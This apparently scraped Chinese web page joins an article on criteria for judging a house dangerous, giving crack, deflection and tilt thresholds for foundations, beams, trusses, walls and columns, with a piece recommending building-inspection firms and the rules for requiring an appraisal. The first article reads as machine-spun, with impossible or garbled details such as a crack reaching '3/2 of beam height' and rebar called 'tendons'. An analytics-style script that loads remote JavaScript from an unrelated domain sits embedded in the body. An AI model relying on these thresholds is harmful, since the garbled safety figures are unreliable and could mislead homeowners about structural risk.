危房鉴定 看看你家的房子是否安全

危险的房子给人们带来的危害是不可估量的。那么如何进行危房鉴定呢?一、危房鉴定之地基标准1.如果危房鉴定出基础发生滑移，或承载力不足等原因引起的沉降不均匀，则结构会出现明显变形、位移、开裂、倾斜等，且仍有恶化的趋势。2.危房鉴定发现房屋结构在基本老化、腐蚀、断裂等条件下具有明显的变形、位移、裂缝、边坡等，并有恶化的趋势。二、危房鉴定之梁标准1.单梁或连续梁的中部产生较大的横向裂缝，或端部延伸至梁高的3/2处，保护层脱落，垂直裂缝伴随出现。2.框架梁在固定端产生明显的竖向或斜向裂缝，或产生交叉裂缝。3.预制板下产生明显的竖向裂缝。4.在板的顶部周围形成裂缝，或者在下面形成交叉裂缝。5.各种梁和板产生的挠度超过跨度的1/150，且受拉区裂缝宽度大于1mm。6.各种板材保护层脱落，超过一半的主肋外露，锈蚀严重，断面缩小。三、危房鉴定之屋架标准1.产生的挠度大于跨度的1/150，下弦产生的垂直裂缝大于1mm。2.支撑系统的失效导致了桁架高度的2/100以上的倾斜。3.保护层脱落，主要肌腱暴露并生锈。4.端节点连接松散，裂缝明显。四、危房鉴定之梁拱标准1.危房鉴定出梁中部出现竖向裂缝或末端有明显斜裂。支撑梁的墙体出现水平裂缝或有明显的弯曲，下沉，变形。2.危房鉴定出筒拱、扁壳、波纹筒拱、拱顶拱开裂，或者拱明显变形或者拱明显移位，或者拱杆松脱，或者拱杆严重，截面减小。五、危房鉴定之墙标准1.墙体有缝长1/2以上的竖向裂缝，缝宽2cm以上的裂缝，或多个缝长1/3以上的竖向裂缝。2.梁支撑下的墙体产生明显的竖向裂缝。3.产生倾斜度，倾斜度超过1.5/100(三层以上，总高度0.7/100以上)，或相邻墙体接缝处断裂。六、危房鉴定之列标准1.立柱体产生水平裂缝或垂直裂缝，缝长超过立柱高度的1/2。2.梁支撑下方的柱子产生了许多垂直裂缝。3.产生倾角，倾角量超过1.2/100(三层以上，总高度的0.5/100以上)。4.风化、切割和砂浆粉碎，造成超过1/5的有效截面弱化(平屋可达1/4)。总之，如果房子坏了，就不能再住了。一旦它崩溃，后果将不堪设想。在这里提醒大家，危房鉴定非常重要，尤其是二手房的危房鉴定。每个人在买房的时候都必须注意防止潜在的危险。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

房屋安全鉴定机构推荐 鉴定标准说明举例

在入住房子之前考虑到自身安全问题，所以我们应该对房屋的质量做一个鉴定，这个时候有许多方案可以供选择了，除了购置一些专业的工具自行进行操作和了解外，最为简单简便的方法就是求助专门的房屋安全鉴定机构，那么关于这方面机构的推荐又有哪些呢?具体的鉴定标准和说明文字又有哪些呢?有兴趣了解的朋友不妨和小编一起来深入分析一下，比如下文所述的就是极具有参考意义和借鉴价值的知识文字内容，相信可以帮助到大家。一、房屋安全鉴定机构推荐1、上海钧测检测技术服务有限公司是专业从事房屋检测鉴定、结构监测、工程检测和司法鉴定的第三方检测机构。上海钧测拥有检验检测机构资质认定，以权威的专家团队，高端的检测设备和前沿的核心技术，为政府机构、设计、施工单位提供科学的决策依据、技术咨询和解决方案。上海钧测在多年的技术服务实践中，形成了以房屋检测、结构测试、灾后检测、抗震鉴定为代表的“房屋检测”产业，以幕墙检测、基坑监测、振动测试、变形监测为代表的“结构监测”产业，以地基基础检测、见证取样、钢结构检测、环境检测为代表的“工程检测”产业，以司法鉴定、房屋评估、损伤检测为代表的“司法鉴定”产业。四大产业互为促进，互为支撑，在延伸产业链的同时也为客户提供了一站式的便捷高效服务。2、台州市固泰建筑安装工程有限公司是一家专业从事第三方检验检测技术服务的高新技术企业。公司位于台州市巨鼎国际二单元1501室，注册资本1000万元;检测技术人员50余人，中高级专业技术职称5余人，其中教授级高级工程师2人，人员专业涵盖从建筑材料、化学分析、结构工程、岩土、工程力学、钢结构、计算机网络、自动化、电子电器等各个方面。3、中冶建筑研究总院(上海)有限公司房屋质量检测站，拥有上海市甲级房屋质量检测证书与抗震鉴定证书，与总院国家工业建筑诊断与改造工程技术研究中心、国家建筑钢材质量监督检验中心、冶金工业工程质量监督总站检测中心、国家钢结构工程技术研究中心等资源、人员共享，拥有一批素质高、经验丰富的高中级工程技术人员和一系列先进配套技术装备。二、房屋安全鉴定的标准1、在房屋建筑上设置高耸物、搁置物或者悬挂物的，属于拆改房屋结构、明显加大房屋荷载或者在楼顶设置广告牌等高耸物的，应当由原房屋设计单位或者具有相应资质等级的设计单位提出设计方案，经房屋安全鉴定机构鉴定符合安全条件后，方可设置。2、严重损坏的房屋一般不得装饰装修。确需装饰装修的，应当先进行房屋鉴定，并采取修缮加固措施，达到居住和使用安全条件后，方可进行装饰装修。3、非住宅房屋装修涉及拆改房屋结构、明显加大房屋载荷的，应当由原房屋设计单位或者具有相应资质等级的设计单位提出设计方案，经房屋质量鉴定机构鉴定符合安全条件后，方可施工。4、原有房屋改为公共娱乐场所或生产经营用房的，经营者应当向房屋质量鉴定机构申请房屋鉴定。5、因发生自然灾害或者爆炸、火灾等事故危及房屋安全的，房屋所有人应当及时向房屋安全鉴定机构申请房屋鉴定。6、兴建大型建筑或者有桩基、地下建筑物和构筑物等建设项目的，建设单位应当在开工前向房屋安全鉴定机构申请对施工区相邻房屋进行房屋鉴定，并按照规定采取安全保护措施。上文我们为大家举例的是关于房屋安全鉴定机构方面的推荐，以及关于鉴定标准板块的说明文字和信息，由此可以发现在入住房屋之前考虑到自己以及家人朋友的安全健康，所以我们最好可以针对房屋的质量问题作出一个合理可信的鉴定，而最为简单简便的方法就是求助专门的鉴定机构了，市面上为了规范这方面机构的资质，所以给出了一系列的标准以供参考，除此之外，我们在选择的时候也可以参考自己的需求预算深入分析，总之目的都是一样的，那就是力求用比较能够接受的价格，了解房子真实的安全问题和潜在的隐患，最大程度上保障自己的安全。